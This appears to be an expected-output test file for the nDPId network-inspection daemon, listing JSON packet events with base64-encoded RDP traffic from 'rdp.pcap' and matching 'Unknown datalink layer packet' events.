+00865{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1937,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":847694,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNjm0AAfwYkusCoAo6sEAK5DT3NDkeiQLD5vSOXUBj45w09AAC+mPXIzKiN7nEDS7zgL+sS0j2jdMBxl1ivtqup6a2gONQt9P3N4MH9HFMoIsx9wymNgiaZPG4vOiiWLfwVJYkwoL2tVyBu+pSmrBBR2v5TzvAJCV7baNPhMzmgmeRjUF9nhySIy3JDCDlFHCcPOW6Si2JHLJulMyvaT6WUHvYW8RWoj8j0OMk+rsZqUN1vFwVjzJP0K1QjbdglJ0d1g5YJQLt0dP\/5L0YY+NOaXf8+RHXtnyEXJ0cdbrhLXn8VRSx4tMhE+pm44icAGtrSjYl8NxLDC4II\/+oMdTMCSJMFMRHyYc5tRi7b0tM4Td8Q4e4n+wDWVBlV1jJpNVd7I4XPdnuZprJA7F1Me\/UTcv6\/wfnI\/XSBJpBcGCXPeNwtsA0ZP4ylg9dnUCK\/qd6mOlZ6\/2U7gUgmqOCBq4kREuQ8n5anT6\/kipAflzYdJKdyK58dhflKQvrpq+GwmrwIarbnjlguXwMByeE3ChBaE97cStsaaUsw5Z7fB1zT"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1937,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1938,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":847744,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9JLBHokIrUBAf9JtZAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1938,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02080{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1939,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":848116,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFjnEAAfwYhO8CoAo6sEAK5DT3NDkeiQiv5vSOXUBD459ViAAAXAwMGbwAAAAAAAAJ5n2e9mlZK+qMONXhLdCXxELwZeKMgIe4dlR25TMSFuYgt0j1kNxR6C3B0FGIW4PRxHwFco1qkOE\/EaGrMFjYPob55rbBSZA\/QGF4sFZxG9GFc15Pqd6IaJgG\/h17Tys6Sfj4y\/z65fL3w1Cw1Qv43HRdEJLPdG2JlEZ5iyPnvAWNVPoLVnuhFNh3yOGMKtrPqsWmNgN\/U43J+FDtsI8WX4F8yMAoPgb7SerBUp792WtY62EEVt1DN5IR57DnrHnnV3H8f8lj491u6jVZJThntP9xFLCJyLnb5ssHPUGR8BjNVbRaUPsZou+nefZedhuiNrA2nBuqVVnewK47tLvFCXxyCxp7oEiS4K+DqY9Qwoc+PiWTGKZJ3NpxwsQ9\/xgSiHzQR17NUY5vU9xW3+tW9bfHT2sPnRrJVHei6aSSoC7pMNYamoBK2wCTR8\/bw\/nvmMlDfmQNTljI9SZu3leqk\/Yo8toycw540vF\/qYI3lNwPzFbas\/KMDSzeR3uC\/Ji3ZnOJOSva9r5lhsqWIAlYBGf6OD4PsOD93jr7ftH\/b70Jk1ir3svSgvm7stM\/NxKq1xAuhSMiLcryXc9zbKNq27pGUu27H\/xd8DwSk\/LHgeHkqwFvQ77y5TCQbNNA9cAr8bWS5oq80mNsTlMvOnNXuKRy0svQjOUkgijhZD5ObSk6TABWwjlqY2roSRYuJQ\/qYRd1Zz0ZQXLXx2fnn9tn9HCENAAtVoTHlxH0EdSBcjmstxD1iUK1VWqr2qiZdW3WYPeerffm10l2fQIp\/1uBq53H9CFBN0vyvw0xAHMBpuwp+1j\/gHCxRL05S+DYBkGciJ9mlmkxIyrdxFjRYzviHTdxhLqkrPkC4Sit29P0b+2qv4C75pylk7jIxtwUOPlCXO5SdlCtnEyD0jN0ajUmsa8GxYMCW6XAAkuQHdlaTA1O++Wr4lIPpucVd\/9HGFkZfbWok6JOIZdio9lI+\/5b1pkXkXatRIJlLeGu7RbqRDOhM40rKMyuSXcml0whqAfD8e2ax\/z64cvxhKTstv3sk2cXhRymCzrK3yfNM5hu80JT0xkSHidZHKHRnxfZie2v2folqQ45gVN0PDljzkDeB5wC4ei8XMuhDysqrMjO+CvtjUN0KMI8XK3gb\/V3wXLrdRrj3nEZtM940WENJ8N7c\/D8epuFFOqyMYk0ZXTvNOOG9wkCP4++jPUfQ290Bwk0NGDzugfaw4uPA3\/TSQFXNq1YdkEzhcMXVzULJcmg+ZfsQpUJV5ZIXQSRO5gRxXjjlHYtIxwmNdFC8CeDEtGdBAEwLIx1u40Z09yZqbzJQJ7hOhrxstl8F8Yzzl2+TJfMcYuAl+LYNadzt\/pQ\/e8YGNhXeMVRkwBZl+15IaCxCBej5hUn5c5P1eCKbqNKOofskkhJPC4QOWtmKZvnjb+Fy61jR4Zi+uLeXpeARgNHrBt9M2LjwXqK+pq5+6gpYIvdsmj71zm+rIQGrKZpi6C1L6kUxSxbSXYO0jnm7Cug0iSxhvHPv2pHfLNG+QzQ\/ZMt94uXCj1k0H44\/f9FhTFcF4y5GMmtDwgEtee4OFDvRpleVYvHDpoJckMQxxK+m0PErMAtV18xJ41yadkf7H7paJZm8JfCiY3prFXO8fDace6a4k6Etyp6zplV7Mq3QacHXK9vdL57LpTjGiQTo"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1939,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00861{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1940,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":848180,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNjnUAAfwYkuMCoAo6sEAK5DT3NDkeiRyT5vSOXUBj45ycFAACMCjYaXo6eZYG1Wqh7VBqXnqbP6EYpbrPtsVakJitI6CKfUWQrTcRmPnZ0TGh8SV6Hqd3Olg70sX6bvE\/kpbCBTiRoZwcfhpM4P5DUJTdLtASF1BQFnXiVFgWOmsF5Gxdu0kpLveLN9a9o6emDC1YLNC0JpnVz2mqLEn1iG1Wrib+OzDaAljJjY3StRAVGtKD\/m5gE+f6qN8Te52Wh+jx8TUxt+h3K+uKavKGhRCGENN3F+C8GGwG+xsL3AeadV5YkzPGhrBF9X62Q0is8ji0rnvqxLb0odfmBYbotOCSBuYxi34FcJf6xGBMT4AZ+4AQeLbZXte0pEHCvsPTgXEbmlJ8UsOJ1UQ5angxD86LhShNXjf7ilikpQnwzEfNcinnBDQfZr\/5Gn+mu0+dfiHuC0qZOb1t5MuKXLrCc+eg2Uhr+Dypavo8+apwIDGUE2ApecevYwWcWV9UBD0LB4jlH7xq\/+rmCji3KBM7xqAbM3CPwIzgkaDGy4oke"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1940,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1941,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":848219,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9JLBHokifUBAf9JTlAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1941,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02091{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1942,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":848512,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFjnkAAfwYhOcCoAo6sEAK5DT3NDkeiSJ\/5vSOXUBD45ygPAAAXAwMGbwAAAAAAAAJ6+iY+QsPQcLdNT5inSchnJU\/qVNpUZQJ369Ri6QnsKk+10ocrGwK\/EC5NY\/eIpaid\/SEMRcyZHobhgz2whWhsO+47hefYBb8WMjSDBlv84XBO5nYtLyeWfG1zoKopBWS\/wHlh5wE+kFg0\/VmV1L8FrqBk0eS9J5QU80a8AAaURQNen88o+YQS80Rmq2i8uiU9QcQTSX97N3LZejzV5glMq5BR6m68Xo8yl\/zcSj6XY3DwW82mweA8bXLSJiyCQ\/7VEMWziLGTX1vAAmx1e+e2eelNWNyvPkiqdvPOxJBHR3tzg6M7dqso7R4g4npMdy\/\/E5A9\/7RHIA8+5Zl5fT9e3FNwU6opW2vILUQuKepX\/VSnEM6ztWjKF9TLcsE5GCQJmBGZDzbrIMqLK1U3dyA3eqkTK9dXO4FbbdcfZ99RaLd15NHiaYzO\/hphcg7Enzm5GX1mQZqitzqbDm7\/X0rlEP1g17IwuBaiQOh4OrFeAzkei87+yCTnv8+BKCjgkQgyREhUnZez1x8bZiU7s1UTBkese6yZTORdNOs8EfB\/Iw59aCnoIrlKMI3dnzv8qRTVt4T8aNZH6nkTEKhe8VvGwMu7LFuZzZZ\/guTFu6O78cI1ON74qBSPhTjSVtGMIBxK38\/07jIOC0r0Rw16MSR+bgPzpun4i2h3rN7td+n8OUaMQIG0q+wFo1aPt3T1LjfyXmtc0+6fqxwrl+P6nIpoBPy3LtNeM+bGGt2lU2OQh+69shBjzwCy4qwKnHyDsS2RzRyQI\/LKRmcuBEI61GNh0SEoJiL7BjIGXBEvlggTX7u2ucTxgjPkdOFPTFY3kYpgo5rQpogapOSmAH414gJXsfbQKMJ5INC3A4GgFdc1QxuHy24jaA\/Xbo8Jh4ltH6u6ypv7mhmQzQyX7hl4a6S\/ma6vYB73gEYqzjduQnSGJ\/aCO\/DIxo+xcgdg1qDH2u+u2kfL2NPq8MbUwSs4zDJl0yY2geJ2YWlXcEFk3IGtHQg2NDNRAjpohghTFtCnGK+9wU2\/U8e23olcp\/S4u17A\/Nvr0v9SJmdldnFcg5RcW1hQzagQpkKMoGOu4hJhgJsBVHw6VZ\/zzuXyeUIJ0\/eFwpUWG9J58lCwKix4cfY0y2oZUu1+vheOz3Ob59O7cGGfvbPSzfZtOvMFg\/CqZYBZgaTqChVQqX2HpTIwFxtXT\/4dgv5AYJjl+zUsrLmh8Tp4tq9QfZWWS04zIsB83mKUTG1Pp17NkTPs49a+iZfGG\/121YPJVdMt9Jf\/1X\/2WA7aIC6oeVI7L8HCpoYDw3ZTLc7CTf3LWdIm+\/Ba6Y\/eQ31KW2C6GpDMqNq\/P9\/NUMZPdqy+PbRImqRO7SfVLYO1+bJBjBrOIdx+w7nNns\/7ircC1B9UOdpiluCeyLipvbI5NjrJtSH3dm5h80PmBrYzgWOrfe+e+CK+\/NuBSD7D7jZ+5IAGzz2KK1aFauW1auo5QYUL8+qEvQI2zZmvDtzaPnM1zoknSvfU0ZiBiX+gs3UYl1YkNW499fgXN1WPnnp0qZEMI43shoIQQqbQPAf\/r97wL3rC7jlBgRFrKnFJ05UY5R6Kk2yLQts1iaVx6yxWO5npC+ioGG6FQsmxg0A7gw37goIIK+SiYS3qfBI9cq6S7Ov+yeRtvvQdLJxRpRkOdXxd58fxfBaj6+wr"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1942,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00866{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1943,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":848541,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNjn0AAfwYktsCoAo6sEAK5DT3NDkeiTZj5vSOXUBj458hoAAAtwmVOazD4L1aFMsJV8cI1KEyUvWjRJFLkSIM7fSw5xw3i9GYrjKvj78ee3+vRV1wTJw7agNI0cWctCJbpz9yUmOir2b1eOugzMdEN+ejE9DQOvGOJaGRQMAY0WkXqkfwq\/MKPZozbU+\/q9XjnP5fqv\/l969wkOjBXus0hMDtq8ND2qMuAMKxFJIUOCVYHDzfFDE4C7wVumsTw8AR71RjinCUtsu0BRXLbJHA0QsqmuUzXDhzm+3+feRNVrbxxZq7HLbR1RBdOJZidWutdXpUWWP\/QLSk57BPs7XqJGjeuKxT1kW1roIJLdoChNoT3C8GwE893gJ8H72xWrG5lFArbREBWNdKgIbVIprw\/n3YoNJVZ\/C6ZnGWcOESiu+R4kdh7LK72WBHdE\/hnBHcAt1HQFFZd9ODTTe3O5S9T1xR76ST3PY5WdFeftSaLMhJ2WIWJQ824bCDechTYsQZZET0Ke\/MorXEfvkmA4y5RbVQAWBhWljbk1qT5H\/WE"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1943,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1944,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":848579,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9JLBHok8TUBAf9I5xAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1944,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00423{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1945,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":848649,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1joEAAfwYl+8CoAo6sEAK5DT3NDkeiTxP5vSOXUBj452eWAAAXAwMAMAAAAAAAAAJ7LVF1JIRrsoVGdBwtOVxTCBlRAZD87BEVIMhBZ2Rk7qFlZm+Ru6KGaQ=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1945,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1946,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":848848,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9JLBHok9IUBAf\/o4yAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1946,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02063{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1947,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":848942,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFjoUAAfwYhNsCoAo6sEAK5DT3NDkeiT0j5vSOXUBD45zQsAAAXAwMGbwAAAAAAAAJ8UqWjLqb5prgUMe+lH8C89bC4brY3WUdQsI4YQR8dhmqG1jjOR6a20xhe9cFxcO4zoGfew08CCbHO5JGi33tQnO8lf8oGcLhLoG3smWoHtBDevrMAB2n\/Am0fTMoZBGDBK45j17NzLtFo+pOzShB4tRu24Az+NMMyS1cLmzpMd0\/xQjLWgkrNTOTwVzcJQXKagpHeorE6H6bkk7qUwaEl6Z0C\/sLzCE7bkTcuWAO6pyE71xeJSChag+0L69MNT74fA7Bg4wtQN5G8vZ6FtFRIWkIkm\/PkHMRJrMrifupxHtOGGWRpu4e7fXjj5c9zQE3bivh1yIFGdn99IzRTHiNmduiVhph26ERYA4IWsTZBsClhOeA7YG4xVmo4JeJJLeZkO0wj7exJplqvFAb2lNa9Gyp4wD\/urX50CNRqiLoR7ybNBxvyaUjms+ILtkeRQp30ma6kEmcQyDEj3Xoof7scvvvDkeVGse\/5RLrmMV2EG8hHI6An6ry0XARIBX96SAupsAT2WX7WiHIA2UgS1nRhLaB7aUPJplnIAe5R5nzjFcf1BXBuzOelLahs2EHEOYFFUyANFsAeHzQhTr9MnJp7nfom0e94D5cXca4ICKZl6HD5YS2v8PETASEURLDT5HyLFSc3wRgGxdr0EIwJgoR0yyv3UNI+d\/o267pvKjyLL4fAGy+Zetb1HgWclOlnNqEG82rNTvLWdFnD1Z3QdcdizxACtnEihH+VQKVJbQxQlUg\/V9vkzdS1R6uO8Mi\/6igS4fXErK3pAWP1ogHC10VRjkZjt+M2PqLmScuoZRQanrMdxAS26Nsu3QeYebvYsElESwek+XrcAzpCNML5VSml+Qiaw51g0ZtkDFFfDUdGGILBcsJqXp99XKbFn1BmXVXtYv9guYVMohVNqWkFAGflzL0fHo7Of3lVcanQxr9tPmmLPYYZURltaKTDmRe3WuWFtsl6kU9UvbewTnXd8XGdy5p8X8LbWuoIa0Rt5Z1UMQOzPf9aB7bJwetL4gEOsWlYvGtgWQrgDCtFqLXP1oMR1JwoNZ5HFhv6DOpK6SlWDqw9whRYcITdZAPtEy8tXeVOZA4rSNIX6uke2xOZStLQNTqvjfBwVDy6aSf+fkeD77Ut5Ubn\/IfNxyhuualL3lWAgSa8F+ryEAHc8HeugQP9FRaqqgJnWKVqGgyHqBotnf\/F9urZKbXCNKZoXm5bYp6CIPNNuPk5VZyZTmXZrQSQ3gPwyu7AmW37fMNbBux9J+RPxgicJQNULapsP33s5nNnrujT0zaF9hNNVbcll8HkpVw0klMvGzLBc9zWSCAOGK65tqCWpSLsTPlpyEDr+Uf5lYEGNZdgTeCYWEhQa1RetkBCXB1BACkN8dzx+fBDIe9Pd9HkH4MmcCQkkm2lmD3ZHdLAYdjS9q8Sq72wed8dfoqILYDZWEyQNWU6hV8Ov9R7p4lgTdwzHVVcMqEHMIJ9GyFPdajmTvV3GFUexxr+f0yVvmOn+F4\/rMnlOR66RSNe+yLr4f7Fj++u+LIKDXiHrZmRL1lI1euaWd1k7EXim7iBMCsHCilFbf2otJI7NXStm1ayHmeQvlYDw3g6DvgHnOIPTzUb+7pp4Cf+ZQZ97lJ1WQyd5exu9jz61qB3UMRV4XK7gyZKfDukrjfqM33DJ6qKOJkBpMkxFydD"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1947,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00870{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1948,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":849006,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNjokAAfwYks8CoAo6sEAK5DT3NDkeiVEH5vSOXUBj454knAAC35+e\/DgxTXzkPY1PX\/pxB6sRMQ3N11Gh7yydXhogLOf27T6cFTok0\/VVQfkxWGUS4NAth2IfL+6VIP3QerPQiV+DTiIFehv0ywploLovJ+jMXqDugSYOLZgC\/0I6Twu2pEzG2Im5VQq9NTyitQJfTc0prAu\/DG3TGEMbKJ4A3F7KXO0QzhN9n4p4NcNE2BUadc9VSvs1Z69K8totsGX\/VVHqCNc\/jH1LoLSHh\/Scmez39rnjfwRIDq8LI96A6v+Ds2i\/NdBX\/DKXAWq8f0J01DUH9J6iC5b5Qh0UlmoAsdvhnvlrNbycagMdGgESOCdpELoatn5x6juyiH39RCAVDTgMJ5gMZi42PC2+ASNN2bWKSFVhG5iEAgu9UlaApjyTI4h0axol+jJ9NKQnDi3uplG85nfxIA2D4f9iL3br2gYq\/PFu7mvtIAkD\/AS\/QwqniVRb09WDGBMntTNHspuWVJd0QCEDd0U0SOUEGV2rkFcelhaidGuxgsQVA"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1948,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00423{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1949,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":849147,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF0AAEAAQAbIm6wQArnAqAKOzQ4NPfm9JLBHok9IUBggAHMwAAAXAwMAMOAIO32NJwxG8m6fC2fN7slPjN6OKiapw4odLPEyNyg2vlHYzqXgZNld9FPM9AjHpQ=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1949,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1950,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":849286,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9JOVHolW8UBAf9IeTAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1950,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02078{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1951,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":849406,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFjo0AAfwYhNMCoAo6sEAK5DT3NDkeiVbz5vSOXUBD45zxcAAAXAwMGbwAAAAAAAAJ90ji4c33TCqtWGA5OxXVaBporu3Oz+MLkbtiCH+KnfM59SNJVSsrNC0+A0EhH3IeMa89LGlwdj7R5Zzuazk\/\/NNKVvrz1rRocOuqatWdiwU9C2\/wbxnsr97C9cDViIbMXU9J2bc5yn1jET60oLlTb0UU7IA9pFN64VQZCAczFbiiCUWANMZbUu743WYsvQ6sH0xGEFVFZhgQA82WW52B8\/c\/zF3WAqYVm9zZ0pMYAOKEF7RD79Bg0AF50PJD4DWjzkl2hNsGmMzGwXV64D+x1gpSn3FxyWkJMBbnGzTrjsexS32CgWI2NRaEFTxFjEDP90xuBMYck36czfBFDJWrEEUwb9asUxSXXw91zGvDFd4WKcJFtP\/GCmu7hY6b12HXgBViDEdbVhGY3OsaeA28kI\/Y5zRSdQzz5fuSo1NqJ+9ZS0AuJm\/HSpdyWH3A1ffLSG9j5fMzrln9qUZ7HbkzBY581X0EWpethBOxRFaTItr3PLCyARrTyUcC3f5HFPe4OvVKiLJqZpFuQDVnasFfTmc0v0YVDlg1sQO33VVH4Ep9NMLfjRuVIqetcQRJTg\/IhhqpHbcA0goFr\/NUF9sXeoLUaOYl2FKgXYM37yGn7YRsAriF4FEQEYN\/0reaFdAKiiJU0mHCihPskWwrR1az6xlBq627usA5c3lWXBWjhmN7rX++j1F7xuLT4xaUCvCFSstZGrj5CU1\/Pmb4h5NBAw8VxsyTF6IWf7wtoGWOwP826ZNuBmFksNaijdZKlEhL60iqq2KcIQi+d50wTV0a0jKt+t0QZMs0uLw5NomF0yWrlDz\/4FPfsf1NpoDt4lmoqdwLGZdnrcfWg9SAKnkrIPCh\/I\/C1fXp7EAqglY5T3lSGAoqrUUhoqx9rYXC6GiA17qxFIW663qRJfJyaNgAxGOgssHI5C\/qMzSuxcd+62mjLJcMYwc7tTWDX5uu2jVpSEjEMazceKcIKmNFfB8MAdru9qUQ7vqVNutOf2+xC0PIOMHlyb6kuqMz6WAObjMwYS7RKSOLQRRdQHn8ROg37EyJBdWbyKewbnmk5ODu8LDaNtu0FkZUtrfiSdr+fFNHVhfGtiIY4i8eCp\/2NhUDkvlPdcv+Ie7CxQ1zDiHUWS0SAiwvq99n+Im\/gmxlrInq3xhGW1IsZUiNkhyWSpBQjBwvHXvItioknwso\/UHbvaoj+Igzy6felTRBpm1c1qpHp+M8k\/zHLmHGg9DqjKcopd7LCWI5P1ALW8z4MnmaDezeBUZk0Praumb4jsq73lf8JE\/rsbs3n9KyUUQQBMBbkg9IqCYh\/IC6BOyWdUImHUyhfjnjqHOhx8Q8cDjebggU1Wv1C163nF8ME62ZdNGrusQgjrXWz1614G\/Qviz69BEJoBBMetBKNkTSkHq4jqL0mvOidpJAKtFY+0MIqTy3N8k61Xj5Z42Qqck4uZQQ8O8qqhcTgXBWhcDSAS7qSm9VCFFStgFjYF7YkktZdyw9i7AUm1B1RhtZLzWYZ6en1epqm9DUpJbOCJ8HyD\/RqzL7eW6WU4d4EbmG6KcAlHIkoOH\/HMoHFpUVLzmH62x7lcquDqxMNQdLpmbC\/AbHhAGcoojiZtgHe4rSCbp3ds7BOyRt5mOg+PrSVpUTPrfmoXkGvh80NwMy+c0FAOH4FXa\/vqhu9PRnqzzsWKCzc"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1951,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00866{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1952,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":849510,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNjpEAAfwYkscCoAo6sEAK5DT3NDkeiWrX5vSOXUBj458EoAABWe4HObMTElWcI9+dHjbUHCBFTPzX2bpponf1KRIMMAmziqqblCXOy\/bGqu2H\/hMIGvKDg2hqfan40is74J4psuRVLuUarlsblv46MV8LyDwo9WZRfqn5DqW5kKcurrY2EkcFEqFLStO\/HGLtK9QhAr5A7udTB73HE\/rj90mFo9QuEJWmUb7UUexlcx7XHcli+hLjDJJ1EgdtvdZSB4+\/E6\/dLHsQe15zSGb\/EVWoM7fcUdI4hoTjKH3+RYyfdI2Gz+O2ABwPrmaz3bU4f5nwbHvIZzo9pvfjs+BaWLB2srOfdsdpEtHjpeEaCH5aVU8g7Pf4b0sxfnXvT7cyfVPYpXWHtxxNa+HvmrcALAgsarsceIPbfKh1ZTlL0Ux68kbBQZqXfLON4zs5QZJqUyv9xgLPAeWG7aCL7KlXZr3sdEXfbdEQI07DcNnEzBJE16Apu8FWIklYIC+LdHci5kU6CprNIWb+RVk\/URexTo2eQ1YHUSJKjHcL\/FXmK"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1952,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1953,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":849578,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9JOVHolwwUBAf9IEfAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1953,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} 